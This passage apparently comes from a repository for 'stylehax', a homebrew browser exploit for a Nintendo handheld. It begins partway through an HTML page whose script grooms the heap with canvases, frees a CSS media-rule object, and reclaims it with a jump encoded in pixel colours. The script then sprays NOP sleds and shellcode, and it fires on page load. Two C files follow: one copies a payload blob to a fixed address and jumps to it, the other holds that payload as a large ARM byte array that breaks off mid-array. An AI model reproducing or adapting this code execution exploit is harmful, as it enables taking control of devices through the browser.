            canvases[i] = a;
            document.body.appendChild(a);
         }

         var styleSheet = document.getElementById('style1').sheet;
         var mediaRule = styleSheet.cssRules[0];

         // heap magic
         var arr = new Array();
         for (var i = 0; i <= N; i++) {
            c = canvases[i].getContext("2d");
            c.fillStyle = "rgb(0, 0, 0)";
            c.fillRect(0, 0, obj_size / 4, 1);
            arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];
         }

         try {
            // fails with syntax error and throws exception, 
            // but still adds some corrupted object to mediaRule.cssRules
            mediaRule.insertRule("@media screen { p { color: green; } };", mediaRule.cssRules.length);
         } catch (e) {

         }

         // empty mediaRule.cssRules
         mediaRule.deleteRule(0);
         mediaRule.deleteRule(0);

         // try to reclaim memory of freed object with jump shellcode
         // (more heap magic)
         var arr = new Array();
         for (var i = 0; i <= N; i++) {
            canvases[i].width = canvases[i].width;
            c = canvases[i].getContext("2d");
            // 0x2bc5120 -- address of nop sled
            c.fillStyle = "rgba(32, 81, 188, 0.0079)";
            c.fillRect(0, 0, 1, 1);
            // FE FF 13 EA -- b #0x500000 -- bootstrap: jumps to nop sled
            c.fillStyle = "rgba(254, 255, 19, 0.918)"
            c.fillRect(1, 0, obj_size / 4 - 1, 1);
            arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];
         }

         // 0x2bc5120 is effectively a nop, and is also the address of our nop sled
         var nops = "\u2051\ubc02";
         while (nops.length < 0x10000) {
            nops += nops;
         }

         // spray nopsleds and shellcode
         var a = new Array();
         for (var i = 0; i < 0x4; i++) {
            a[i] = nops + shellcode;
         }

         // more heap magic...
         for (var i = 0; i < 0x100; i++) {
            a[4 + i] = "" + i;
         }

         // accessing this property causes jump to bootstrap
         mediaRule.cssRules.length;
         alert("exploit failed. reboot and try again")
      }
   </script>
</head>

<body onload="exploit()">
   <div style="width: 250px">
      <p>stylehax by nathan</p>
      <p>exploit in progress... if you've waited > 30 seconds, reboot and try again!</p>
   </div>
</body>

</html>

================================================
FILE: payload.c
================================================
// adapted from shutterbug2000 and zoogie's memory pit

typedef unsigned char u8;
typedef unsigned short u16;

#include "payload.h"

int main() {
    u8 *payload_dest = (u8 *)0x02200000;

    for (int i = 0; i < sizeof(mini_twl_payload); i++) {
        payload_dest[i] = mini_twl_payload[i];
    }

    *(u16 *)0x400006C = 0;  // MASTER_BRIGHT SUB & TOP
    *(u16 *)0x400106C = 0;  //""

    ((void (*)())payload_dest)();
}

================================================
FILE: payload.h
================================================
// from shutterbug2000 and zoogie's memory pit
// this is minitwlpayload and can be found here
// https://github.com/yellows8/dsi/tree/master/exploits/minitwlpayload

const static unsigned char mini_twl_payload[5520] = {
    0x01, 0x03, 0xA0, 0xE3, 0x08, 0x02, 0x80, 0xE5, 0x38, 0x10, 0x9F, 0xE5,
    0x10, 0x1F, 0x01, 0xEE, 0x00, 0x00, 0xA0, 0xE3, 0x15, 0x0F, 0x07, 0xEE,
    0x16, 0x0F, 0x07, 0xEE, 0x9A, 0x0F, 0x07, 0xEE, 0x24, 0x10, 0x9F, 0xE5,
    0x24, 0x20, 0x9F, 0xE5, 0x00, 0x30, 0xA0, 0xE3, 0x02, 0x00, 0x51, 0xE1,
    0x02, 0x00, 0x00, 0x0A, 0x04, 0x30, 0x81, 0xE4, 0x02, 0x00, 0x51, 0xE1,
    0xFC, 0xFF, 0xFF, 0x1A, 0x5B, 0x00, 0x00, 0xFA, 0xFE, 0xFF, 0xFF, 0xEA,
    0x78, 0x20, 0x00, 0x00, 0x90, 0x15, 0x20, 0x02, 0x30, 0x16, 0x20, 0x02,
    0xF0, 0xB5, 0x00, 0x24, 0x80, 0x27, 0x22, 0x00, 0x01, 0x26, 0x0D, 0x4D,
    0x7F, 0x00, 0x2B, 0x88, 0x01, 0x39, 0x04, 0xD2, 0x00, 0x2C, 0x00, 0xD0,
    0x2B, 0x80, 0x10, 0x00, 0xF0, 0xBD, 0x01, 0x2B, 0x04, 0xD1, 0x03, 0x68,
    0x01, 0x3B, 0x03, 0x60, 0x1B, 0x78, 0x3B, 0x43, 0x1C, 0x00, 0x52, 0x00,
    0x34, 0x40, 0x22, 0x43, 0x12, 0x04, 0x12, 0x0C, 0x5B, 0x08, 0x34, 0x00,
    0xE8, 0xE7, 0xC0, 0x46, 0x90, 0x15, 0x20, 0x02, 0xF7, 0xB5, 0x00, 0x24,
    0x0F, 0x00, 0x25, 0x00, 0x01, 0x38, 0x01, 0x90, 0x42, 0x4E, 0x03, 0x78,
    0x33, 0x80, 0x0F, 0x23, 0x1D, 0x42, 0x00, 0xD1, 0x01, 0x24, 0xB3, 0x1C,
    0x6A, 0x00, 0xD4, 0x52, 0x04, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0xCA, 0xFF,
    0x33, 0x00, 0x6A, 0x33, 0xE8, 0x54, 0x01, 0x23, 0x83, 0x40, 0xE4, 0x18,
    0x24, 0x04, 0x01, 0x35, 0x24, 0x0C, 0x34, 0x2D, 0xE9, 0xD1, 0x01, 0x21,
    0x01, 0xA8, 0xFF, 0xF7, 0xBB, 0xFF, 0x05, 0x06, 0x2D, 0x0E, 0x00, 0x24,
    0x01, 0x2D, 0x04, 0xD1, 0x2C, 0x00, 0x12, 0xE0, 0x01, 0x34, 0x24, 0x04,
    0x24, 0x0C, 0x01, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0xAD, 0xFF, 0x00, 0x28,
    0xF6, 0xD0, 0x10, 0x2C, 0x53, 0xD0, 0x11, 0x2C, 0x19, 0xD1, 0x10, 0x21,
    0x01, 0xA8, 0xFF, 0xF7, 0xA3, 0xFF, 0x01, 0x25, 0x04, 0x00, 0x23, 0x00,
    0x3A, 0x00, 0x01, 0x3A, 0x00, 0x2D, 0x43, 0xD0, 0x01, 0x99, 0x01, 0x39,
    0x01, 0x91, 0x09, 0x78, 0x01, 0x3B, 0x1B, 0x04, 0x11, 0x70, 0x1B, 0x0C,
    0xF3, 0xD1, 0x01, 0x3C, 0x24, 0x04, 0x24, 0x0C, 0xE4, 0x43, 0x3F, 0x19,
    0xCD, 0xE7, 0x62, 0x00, 0xB3, 0x1C, 0xD3, 0x5A, 0x01, 0xA8, 0x00, 0x93,
    0x33, 0x00, 0x6A, 0x33, 0x19, 0x5D, 0xFF, 0xF7, 0x83, 0xFF, 0x00, 0x9B,
    0x1C, 0x18, 0x24, 0x04, 0x24, 0x0C, 0x01, 0x2C, 0x07, 0xD0, 0x02, 0x2C,
    0x1C, 0xD0, 0x04, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0x77, 0xFF, 0x10, 0x30,
    0x04, 0xE0, 0x02, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0x71, 0xFF, 0x30, 0x30,
    0x00, 0x04, 0x00, 0x0C, 0x42, 0x00, 0xB3, 0x1C, 0xD3, 0x5A, 0x00, 0x93,
    0x33, 0x00, 0x6A, 0x33, 0x19, 0x5C, 0x01, 0xA8, 0xFF, 0xF7, 0x64, 0xFF,
    0x00, 0x9B, 0x18, 0x18, 0x03, 0x04, 0x1B, 0x0C, 0x00, 0x93, 0xBC, 0xE7,
    0x04, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0x5A, 0xFF, 0x20, 0x30, 0xE7, 0xE7,
    0x00, 0x99, 0x51, 0x5C, 0xBC, 0xE7, 0x38, 0x00, 0xFE, 0xBD, 0xC0, 0x46,
    0x90, 0x15, 0x20, 0x02, 0xF7, 0xB5, 0xA0, 0x22, 0x58, 0x4B, 0x59, 0x4C,
    0x59, 0x48, 0xD2, 0x04, 0x13, 0x60, 0x07, 0x27, 0x23, 0x60, 0x84, 0x46,
    0x00, 0x23, 0x57, 0x4A, 0x57, 0x49, 0x08, 0x00, 0x08, 0x38, 0x0B, 0x60,
    0x03, 0x60, 0x08, 0x1F, 0x03, 0x60, 0x90, 0x1E, 0x13, 0x80, 0x03, 0x80,
    0x38, 0x00, 0x50, 0x43, 0x52, 0x4D, 0x53, 0x4E, 0x45, 0x19, 0x80, 0x19,
    0x08, 0xC5, 0x85, 0x42, 0xFC, 0xD1, 0x04, 0x32, 0x0C, 0x31, 0x62, 0x45,
    0xE9, 0xD1, 0x4F, 0x4A, 0x4F, 0x49, 0x13, 0x60, 0x4F, 0x4A, 0x13, 0x60,
    0x4F, 0x4A, 0x13, 0x70, 0x4F, 0x4A, 0x13, 0x70, 0x4F, 0x4A, 0x11, 0x80,
    0x03, 0x21, 0x4F, 0x4A, 0x11, 0x70, 0x4F, 0x4A, 0x4F, 0x49, 0x11, 0x80,
    0x4F, 0x4A, 0x50, 0x49, 0x13, 0x60, 0x01, 0x22, 0x4F, 0x4B, 0x52, 0x42,
    0x1A, 0x60, 0x4F, 0x4B, 0x0A, 0x88, 0x1A, 0x42, 0xFC, 0xD1, 0x4E, 0x4B,
    0x4E, 0x4A, 0x69, 0x46, 0x1A, 0x60, 0xA0, 0x22, 0x4D, 0x4B, 0xD2, 0x04,
    0x13, 0x60, 0x23, 0x60, 0x04, 0x23, 0x4C, 0x4D, 0x06, 0x31, 0x2B, 0x80,
    0x4B, 0x4B, 0x5A, 0x88, 0x0A, 0x80, 0x4B, 0x4A, 0x10, 0x00, 0x17, 0x88,
    0x0E, 0x88, 0xB7, 0x42, 0xFB, 0xD0, 0x1A, 0x88, 0x01, 0x32, 0x12, 0x04,
    0x12, 0x0C, 0x1A, 0x80, 0x03, 0x22, 0x2A, 0x80, 0x5A, 0x88, 0x0A, 0x80,
    0x05, 0x88, 0x0A, 0x88, 0x95, 0x42, 0xFB, 0xD0, 0x1A, 0x88, 0x0F, 0x21,
    0x01, 0x32, 0x12, 0x04, 0x12, 0x0C, 0x1A, 0x80, 0x3F, 0x4A, 0x15, 0x00,
    0x13, 0x88, 0x0B, 0x40, 0x01, 0x2B, 0xFB, 0xD1, 0xA0, 0x22, 0x3D, 0x4B,
    0xD2, 0x04, 0x13, 0x60, 0x23, 0x60, 0x80, 0x23, 0x3B, 0x4F, 0x3C, 0x4E,
    0x39, 0x00, 0x33, 0x70, 0x3B, 0x48, 0xFF, 0xF7, 0xF7, 0xFE, 0x3B, 0x4B,
    0x39, 0x1A, 0xCA, 0x18, 0x40, 0x18, 0x57, 0x1A, 0x43, 0x1A, 0x00, 0x29,
    0x2B, 0xD1, 0x82, 0x23, 0x33, 0x70, 0x8E, 0x23, 0x36, 0x4A, 0x9B, 0x04,
    0x1A, 0x60, 0xC0, 0x22, 0x35, 0x4B, 0xD2, 0x04, 0x1A, 0x60, 0xF0, 0x23,
    0xA0, 0x22, 0x5B, 0x00, 0xD2, 0x04, 0x13, 0x60, 0x84, 0x22, 0x23, 0x60,
    0x29, 0x88, 0x31, 0x4B, 0x92, 0x01, 0x19, 0x40, 0x0A, 0x43, 0x2A, 0x80,
    0x0F, 0x22, 0x29, 0x88, 0x11, 0x42, 0xFC, 0xD1, 0x2A, 0x88, 0x1A, 0x40,
    0x80, 0x23, 0x9B, 0x01, 0x13, 0x43, 0xA0, 0x22, 0x2B, 0x80, 0x2A, 0x4B,
    0xD2, 0x04, 0x13, 0x60, 0x23, 0x60, 0x29, 0x4A, 0x29, 0x4B, 0x1A, 0x60,
    0x29, 0x4A, 0x13, 0x60, 0x98, 0x47, 0x1B, 0x88, 0x02, 0x39, 0x3B, 0x80,
    0xCB, 0xE7, 0xC0, 0x46, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x05,
    0x12, 0x01, 0x00, 0x04, 0x02, 0x01, 0x00, 0x04, 0xB8, 0x00, 0x00, 0x04,
    0xF6, 0x39, 0x00, 0xE8, 0x12, 0x3A, 0x00, 0xE8, 0x40, 0x02, 0x00, 0x04,
    0x0F, 0x82, 0xFF, 0xFF, 0x44, 0x02, 0x00, 0x04, 0x48, 0x02, 0x00, 0x04,
    0x49, 0x02, 0x00, 0x04, 0x04, 0x03, 0x00, 0x04, 0x47, 0x02, 0x00, 0x04,
    0x04, 0x02, 0x00, 0x04, 0x80, 0xE8, 0xFF, 0xFF, 0x10, 0x02, 0x00, 0x04,
    0x84, 0x01, 0x00, 0x04, 0x14, 0x02, 0x00, 0x04, 0x02, 0x40, 0x00, 0x00,
    0x88, 0x01, 0x00, 0x04, 0x0C, 0x00, 0x04, 0x00, 0xFF, 0x03, 0x00, 0x00,
    0x28, 0xFC, 0xFF, 0x02, 0x24, 0xFC, 0xFF, 0x02, 0x26, 0xFC, 0xFF, 0x02,
    0x80, 0x01, 0x00, 0x04, 0x1F, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x20, 0x02,
    0x42, 0x02, 0x00, 0x04, 0x8C, 0x15, 0x20, 0x02, 0x00, 0x00, 0x84, 0x06,
    0x04, 0xF0, 0x1F, 0xE5, 0x04, 0x00, 0x38, 0x02, 0xFF, 0xF0, 0xFF, 0xFF,
    0xEF, 0x3F, 0x00, 0x00, 0x18, 0xF0, 0x9F, 0xE5, 0x04, 0xFE, 0xFF, 0x02,
    0x24, 0xFE, 0xFF, 0x02, 0x80, 0x00, 0x07, 0x3E, 0xEA, 0x4F, 0x68, 0x7C,
    0x12, 0x1F, 0x8C, 0x8F, 0xD6, 0x4B, 0x05, 0x14, 0xE8, 0x60, 0x0D, 0x9C,
    0x03, 0xFD, 0x38, 0x08, 0x29, 0x10, 0x14, 0x18, 0x8A, 0x57, 0xB3, 0x12,
    0x75, 0x88, 0x03, 0xA8, 0x13, 0xEA, 0x80, 0x07, 0x1F, 0x51, 0xC1, 0xF0,
    0x29, 0xE1, 0x87, 0xD0, 0xCA, 0x90, 0xD2, 0x78, 0x4E, 0x5B, 0xA3, 0xDE,
    0xFE, 0x05, 0x3B, 0x46, 0x26, 0xFA, 0x68, 0x03, 0xEF, 0x63, 0x85, 0xEB,
    0xDF, 0x8F, 0xB3, 0x8F, 0x4E, 0x1E, 0x1C, 0x12, 0x81, 0xE0, 0x02, 0x7E,
    0xD1, 0xDF, 0x14, 0x1B, 0x9C, 0x32, 0xD5, 0x3B, 0x10, 0x51, 0xE2, 0xA7,
    0xFC, 0xF8, 0xC0, 0x02, 0x44, 0xF5, 0x03, 0xEA, 0x96, 0x46, 0x24, 0x83,
    0xE0, 0xF4, 0x33, 0x21, 0xCD, 0xD0, 0x12, 0xB1, 0x4E, 0x41, 0x76, 0xA2,
    0xE8, 0x78, 0x8E, 0x53, 0xE2, 0xFB, 0x7F, 0x1B, 0x19, 0x9B, 0xF0, 0xFF,
    0xCA, 0xFE, 0x91, 0xA0, 0x49, 0xFD, 0x01, 0xF2, 0xCA, 0x1F, 0x4C, 0x1A,
    0x86, 0x59, 0x92, 0x06, 0x89, 0x04, 0x06, 0xAA, 0xFC, 0x39, 0x58, 0xE0,
    0x7C, 0x6C, 0xB8, 0x52, 0x33, 0x24, 0xB4, 0x75, 0xB2, 0x14, 0xB0, 0x8E,
    0xC4, 0xD1, 0x48, 0xBC, 0xA4, 0xC0, 0x75, 0xB6, 0x14, 0xB4, 0x8E, 0xD0,
    0xD1, 0x48, 0xC8, 0xA4, 0xCC, 0x75, 0xBA, 0x14, 0xB8, 0x8E, 0xDC, 0xD1,
    0x48, 0xD4, 0xA4, 0xD8, 0x72, 0xED, 0xBE, 0x29, 0xBC, 0x30, 0x1E, 0x6B,
    0x35, 0x92, 0x4E, 0x21, 0xEA, 0x47, 0x18, 0xEF, 0x2D, 0x9F, 0x19, 0xA9,
    0x80, 0x10, 0x81, 0xE3, 0x40, 0x12, 0x3F, 0xCD, 0x78, 0x97, 0xB5, 0x8D,
    0xDC, 0x31, 0xCA, 0xFA, 0x02, 0x20, 0x93, 0xC8, 0xC0, 0xBA, 0x59, 0xD6,
    0xC2, 0xFC, 0xB0, 0x39, 0xA5, 0xAE, 0xF8, 0x7B, 0x58, 0xB4, 0x1C, 0xBF,
    0x54, 0xA7, 0x29, 0x40, 0x8A, 0x41, 0x45, 0x43, 0x22, 0x44, 0x91, 0x48,
    0x45, 0xA4, 0x46, 0x52, 0x48, 0x29, 0x49, 0x1C, 0xB5, 0x34, 0x4F, 0x33,
    0x1D, 0x2C, 0x82, 0xE2, 0xB4, 0x10, 0xC2, 0xE1, 0x7F, 0x03, 0xE5, 0x47,
    0x31, 0xC3, 0x6B, 0xFD, 0x24, 0xD7, 0xEC, 0x20, 0xCF, 0xFB, 0x91, 0xF2,
    0x1C, 0x30, 0x3E, 0xD3, 0x19, 0x8B, 0xE5, 0xBE, 0x2E, 0x03, 0x43, 0x56,
    0x88, 0x49, 0x38, 0x58, 0x0F, 0x82, 0x68, 0x19, 0x8E, 0xBF, 0x0D, 0xB5,
    0xF8, 0x6C, 0xEF, 0xA0, 0x33, 0xF7, 0x4C, 0xB6, 0x50, 0x8F, 0x58, 0x08,
    0x22, 0x83, 0xA7, 0xEB, 0x1E, 0xC1, 0xE7, 0x48, 0x10, 0x37, 0xA3, 0x19,
    0x41, 0xE5, 0x7D, 0x20, 0xD3, 0xBD, 0x52, 0xA3, 0xC2, 0x82, 0x4A, 0xA0,
    0xE7, 0xB6, 0xAF, 0xD2, 0xE1, 0xBF, 0x6F, 0xB6, 0x0A, 0x24, 0x20, 0x9F,
    0x0F, 0x04, 0x30, 0xCB, 0x52, 0xF6, 0xFC, 0x3F, 0x8E, 0xB9, 0xB7, 0x1A,
    0xFD, 0x34, 0x1D, 0xE3, 0xDB, 0x31, 0xAF, 0xE5, 0x0F, 0xE0, 0x57, 0xA0,
    0x13, 0xE5, 0xF5, 0x9F, 0xFE, 0x8E, 0x43, 0xFC, 0x23, 0x75, 0x6E, 0xE8,
    0x21, 0x22, 0xC1, 0x1E, 0x22, 0x03, 0x32, 0xAB, 0xCD, 0x73, 0x23, 0x66,
    0xD4, 0xCC, 0x58, 0xC4, 0xF2, 0x37, 0x9A, 0xF1, 0xC6, 0x2F, 0x8A, 0xA1,
    0xF0, 0x57, 0xD7, 0xC3, 0x74, 0xAC, 0xFE, 0x3E, 0x30, 0x53, 0xB6, 0x01,
    0x1A, 0xF9, 0xF0, 0x99, 0x5B, 0x9F, 0xE1, 0xF0, 0x9C, 0x9F, 0x04, 0x03,
    0xCD, 0x66, 0x67, 0x4B, 0xD6, 0x1E, 0x67, 0x20, 0x4D, 0xAB, 0x64, 0x03,
    0xDE, 0xAE, 0x67, 0x7D, 0x29, 0x35, 0xED, 0x0C, 0x03, 0xB5, 0x00, 0x05,
    0x0A, 0x38, 0xBB, 0x2D, 0x7B, 0x72, 0x39, 0xE4, 0xB1, 0x84, 0xD0, 0x87,
    0x9E, 0x1E, 0xA5, 0x6F, 0x28, 0x40, 0xDF, 0xA8, 0x25, 0x8A, 0x1B, 0x91,
    0x2D, 0xED, 0x91, 0x20, 0x9E, 0xB9, 0x5C, 0x18, 0x80, 0x26, 0x1E, 0x2E,
    0x42, 0xAE, 0xF1, 0x1E, 0x88, 0x0E, 0xE7, 0x3C, 0x53, 0xF1, 0xED, 0xA7,
    0xE7, 0x91, 0x89, 0x55, 0x92, 0xC2, 0xE7, 0xF1, 0x71, 0xBA, 0x75, 0xE8,
    0xDC, 0xCF, 0x3A, 0x29, 0x31, 0xFA, 0x4D, 0xED, 0x4A, 0xED, 0x2D, 0x71,
    0x9D, 0x79, 0x34, 0x54, 0x19, 0x67, 0x50, 0x43, 0xD6, 0xD1, 0xA4, 0x1C,
    0xA4, 0xD4, 0x48, 0x25, 0x09, 0xE5, 0x20, 0xE4, 0x18, 0xD7, 0xAE, 0xB9,
    0xEA, 0x03, 0x34, 0x84, 0x43, 0x7E, 0x55, 0x0F, 0xCE, 0xE8, 0xDC, 0xA3,
    0xC7, 0x07, 0x0B, 0xD5, 0x14, 0x6F, 0x4E, 0x15, 0x4B, 0x36, 0xF8, 0xB9,
    0x57, 0x2E, 0x19, 0xEB, 0x9B, 0x19, 0x1B, 0x18, 0x83, 0x9F, 0x43, 0x9C,
    0x42, 0xE9, 0xD2, 0x1C, 0x72, 0x8D, 0xE8, 0x71, 0xFF, 0x38, 0x4B, 0x0F,
    0xBD, 0xE5, 0x2A, 0x68, 0xC7, 0xF1, 0x99, 0x0F, 0x36, 0x6B, 0xF0, 0x10,
    0x52, 0x14, 0x3B, 0x28, 0xA2, 0x2C, 0x91, 0x48, 0x38, 0xA4, 0x3C, 0x75,
    0x01, 0x7D, 0xEE, 0x12, 0x07, 0xCC, 0x51, 0xFB, 0x5C, 0x70, 0x0E, 0x6A,
    0x67, 0x72, 0xE3, 0x61, 0x5F, 0x73, 0xFF, 0x2F, 0x24, 0x9F, 0x01, 0x94,
    0x27, 0x4A, 0x95, 0x37, 0x26, 0x74, 0x66, 0x81, 0x5C, 0xE2, 0xDC, 0xFF,
    0xEF, 0xC6, 0x3D, 0xF8, 0xD1, 0xCF, 0x74, 0x00, 0x01, 0x30, 0x0E, 0xC9,
    0x34, 0x0F, 0x93, 0xB4, 0xF0, 0xBF, 0xF9, 0x33, 0xFD, 0xBB, 0x23, 0x45,
    0x12, 0x25, 0x32, 0xF3, 0x5B, 0x42, 0xAB, 0xE9, 0x14, 0x22, 0x93, 0x55,
    0x31, 0x71, 0xFD, 0xB2, 0x06, 0x80, 0xE7, 0xA9, 0xA8, 0x57, 0xC3, 0x24,
    0xC4, 0x74, 0x46, 0x68, 0xB3, 0x94, 0x9C, 0xCE, 0x90, 0xAD, 0x95, 0x70,
    0x35, 0x21, 0xB3, 0xA1, 0x06, 0x6B, 0x46, 0xE7, 0xDA, 0xDE, 0x1C, 0x71,
    0x7C, 0x2A, 0xA9, 0x30, 0x31, 0x3E, 0x35, 0x11, 0xC4, 0xA3, 0xF2, 0x24,
    0x78, 0xDC, 0x19, 0x53, 0x40, 0x5B, 0xBD, 0x07, 0xD1, 0x37, 0x6A, 0x1E,
    0xBD, 0x98, 0xD6, 0x4A, 0xE0, 0x73, 0x73, 0xCD, 0x06, 0x82, 0x89, 0x58,
    0xE5, 0x3A, 0x30, 0x70, 0x22, 0xE7, 0x1C, 0x49, 0xF4, 0xE7, 0xFF, 0xC7,
    0x12, 0x05, 0x28, 0x82, 0xB8, 0x4A, 0xB0, 0x45, 0xB4, 0x23, 0xA8, 0x02,
    0xA4, 0x45, 0xB4, 0xC4, 0x52, 0xBC, 0x29, 0xC0, 0x1D, 0x06, 0x45, 0x21,
    0x2D, 0xD0, 0xA2, 0xC8, 0x91, 0x48, 0xCC, 0xEA, 0x0A, 0x29, 0x08, 0x1D,
    0xA3, 0x0E, 0xC3, 0x36, 0xA0, 0x0E, 0x29, 0x0C, 0x01, 0x1A, 0x10, 0x4A,
    0x14, 0x47, 0x83, 0x82, 0xC9, 0x1A, 0x93, 0xF1, 0x12, 0x03, 0x5D, 0x56,
    0x80, 0xFC, 0x78, 0xAC, 0xB8, 0x23, 0xDB, 0x53, 0xAE, 0xDF, 0xB0, 0x01,
    0x3C, 0x5B, 0x50, 0xBD, 0x4B, 0xA8, 0xE3, 0xF2, 0x3C, 0x4E, 0x0E, 0x9E,
    0x10, 0x9D, 0x11, 0x9F, 0x0D, 0xFF, 0x0A, 0x9A, 0xFB, 0xC5, 0x0C, 0x98,
    0x3C, 0x3F, 0x53, 0x3B, 0x9B, 0x32, 0x17, 0x45, 0x28, 0x8E, 0x8B, 0x39,
    0xFB, 0x1E, 0x9B, 0x6C, 0xBC, 0x9A, 0xF1, 0xBD, 0x8B, 0x63, 0x44, 0x78,
    0x93, 0xD9, 0x02, 0xAA, 0x3B, 0x21, 0x95, 0x1C, 0x91, 0x1D, 0xCD, 0x4A,
    0xD8, 0x1A, 0xB3, 0xE4, 0x2A, 0xFC, 0xDB, 0xF1, 0x58, 0xD8, 0x2B, 0x53,
    0x6D, 0xFE, 0x9B, 0x05, 0x03, 0x1F, 0xD5, 0xF1, 0xE9, 0xF0, 0x5B, 0x89,
    0x2E, 0x3A, 0x48, 0xF1, 0xEF, 0xFB, 0x1C, 0x52, 0x4B, 0x2C, 0x59, 0x17,
    0x6C, 0x9C, 0x44, 0xCA, 0x37, 0x55, 0x52, 0x87, 0x06, 0xB3, 0x15, 0xB6,
    0xF6, 0x12, 0x39, 0x72, 0x91, 0x74, 0x07, 0xB1, 0xFB, 0x2D, 0x95, 0x05,
    0xD0, 0x2B, 0xF1, 0x3A, 0x62, 0x74, 0x72, 0x8D, 0x78, 0x16, 0xFA, 0x5F,
    0xE4, 0x13, 0xE0, 0x77, 0x33, 0x45, 0xD4, 0x85, 0xD8, 0x23, 0xE4, 0x3C,
    0xDC, 0xC1, 0x8E, 0xE6, 0x5C, 0x29, 0x84, 0x3C, 0xF6, 0x00, 0xE0, 0x1A,
    0xD0, 0x4A, 0xCC, 0x45, 0xD8, 0x22, 0xDC, 0x91, 0x48, 0xC0, 0xA4, 0xC8,
    0xE1, 0x73, 0xBB, 0x22, 0x0C, 0xC7, 0x57, 0x5D, 0x9E, 0x0B, 0xA7, 0x94,
    0xC0, 0x79, 0x64, 0x29, 0xD1, 0xD5, 0x13, 0x88, 0xBF, 0x2B, 0xFD, 0x16,
    0x24, 0x56, 0xB2, 0x60, 0x3A, 0x4F, 0x12, 0x49, 0x3C, 0xAD, 0x3F, 0x63,
    0x63, 0x0F, 0xF8, 0x3C, 0x3D, 0xF0, 0x08, 0x63, 0x24, 0x06, 0xF2, 0xB7,
    0xF4, 0xC4, 0x2F, 0x5B, 0xFB, 0xFD, 0x83, 0x34, 0x49, 0xE5, 0xB1, 0xD9,
    0xBC, 0x3B, 0x9F, 0x31, 0x70, 0xB5, 0x4D, 0x22, 0xAB, 0x25, 0x71, 0xAC,
    0x1A, 0x61, 0x93, 0xDA, 0x49, 0x4A, 0x49, 0x9A, 0x60, 0xD2, 0x35, 0x26,
    0x96, 0x46, 0x43, 0x3F, 0x98, 0x41, 0xBA, 0xDB, 0xF8, 0xD3, 0xE6, 0x04,
    0xD1, 0x73, 0xAE, 0xCF, 0x40, 0x20, 0x4A, 0xB3, 0x3D, 0x93, 0x42, 0x05,
    0xD9, 0x6F, 0x1F, 0xD1, 0xDC, 0x8A, 0x5C, 0xE0, 0xF9, 0x79, 0x4E, 0xF0,
    0x7F, 0x7F, 0x48, 0x4C, 0xB9, 0x4D, 0xD2, 0x79, 0x1D, 0x7B, 0x6A, 0xE7,
    0xE0, 0xDC, 0x80, 0x49, 0x1B, 0x6B, 0x4A, 0xDE, 0x48, 0xDE, 0x1A, 0xF2,
    0xD8, 0xFD, 0x1A, 0x2B, 0x62, 0x17, 0xFC, 0xD0, 0x8F, 0x14, 0x7A, 0xFE,
    0xBA, 0xFC, 0x16, 0xE9, 0xA7, 0x10, 0x48, 0xC7, 0xE4, 0xC2, 0xFD, 0xFE,
    0x2C, 0x59, 0x60, 0xA4, 0xAC, 0x12, 0x1A, 0x4D, 0x06, 0xF7, 0x8C, 0x70,
    0xF6, 0xCA, 0x35, 0xE7, 0x1C, 0xD2, 0x20, 0x3B, 0xA3, 0x19, 0x97, 0x85,
    0x7F, 0x22, 0x83, 0x91, 0xBD, 0xB4, 0xC2, 0x08, 0x47, 0x74, 0xFC, 0x79,
    0xEC, 0xE4, 0x7A, 0x13, 0xD0, 0xE1, 0x24, 0x49, 0xF5, 0xAF, 0xF0, 0x88,
    0x49, 0x70, 0x13, 0x34, 0x6C, 0x9C, 0x18, 0xF8, 0xA6, 0xF5, 0x2B, 0xB5,
    0x63, 0x4F, 0x4A, 0xD8, 0xDF, 0x01, 0x21, 0xCF, 0x8E, 0xD9, 0xFA, 0xCF,
    0x77, 0x4A, 0x83, 0xBB, 0x68, 0x04, 0x0C, 0x82, 0x1E, 0xA3, 0x10, 0xB6,
    0x58, 0xC9, 0x39, 0x44, 0xC7, 0x33, 0x34, 0x87, 0xE1, 0xC0, 0xF3, 0x7B,
    0x78, 0x29, 0x39, 0x78, 0xA7, 0xB5, 0x04, 0x92, 0x8C, 0xCA, 0xB6, 0x51,
    0xAA, 0x39, 0xE6, 0x0F, 0x01, 0x2B, 0x1F, 0xD1, 0x03, 0x1F, 0x25, 0x2A,
    0xF3, 0x62, 0x7C, 0xAE, 0x41, 0x2E, 0x96, 0x0A, 0xF6, 0x18, 0x3E, 0xB4,
    0x95, 0x05, 0xF3, 0xCE, 0xFF, 0x20, 0x4F, 0x4F, 0xED, 0x0D, 0x7B, 0xFE,
    0xA6, 0xF2, 0xF1, 0x35, 0x55, 0x54, 0x9D, 0x42, 0xF2, 0xC1, 0x25, 0x66,
    0xF5, 0x30, 0xE6, 0x5E, 0xC0, 0xFF, 0x78, 0xC7, 0x5D, 0xC2, 0x3C, 0xD9,
    0x5A, 0x09, 0xC0, 0xF8, 0x98, 0x72, 0x15, 0xC1, 0x05, 0x15, 0x0D, 0xAC,
    0x73, 0x12, 0x99, 0xD9, 0x48, 0xC0, 0x06, 0xAB, 0xDA, 0xAB, 0xFF, 0x24,
    0x70, 0xAC, 0x64, 0x9E, 0xC7, 0xCF, 0x0E, 0x98, 0x98, 0x42, 0xEA, 0xD9,
    0x0D, 0xDF, 0x48, 0xE8, 0xE7, 0x09, 0xF9, 0x80, 0xD9, 0x68, 0x52, 0x0A,
    0x9B, 0x8F, 0x65, 0x46, 0x9B, 0xFF, 0x7F, 0x23, 0x1C, 0x7D, 0xF1, 0x4B,
    0xA4, 0xEC, 0x74, 0x59, 0x1B, 0x01, 0x5D, 0x09, 0xA0, 0x33, 0x37, 0xD8,
    0xD9, 0xEC, 0xFB, 0xFB, 0x24, 0xC7, 0x0D, 0x70, 0x39, 0x57, 0xF6, 0x0E,
    0x5A, 0xE3, 0x2A, 0x78, 0x6E, 0x61, 0x3B, 0xB3, 0x19, 0x2B, 0x02, 0xD8,
    0xF6, 0xCF, 0xCC, 0x1D, 0x0E, 0x57, 0x23, 0xF0, 0xB5, 0x37, 0xB4, 0x09,
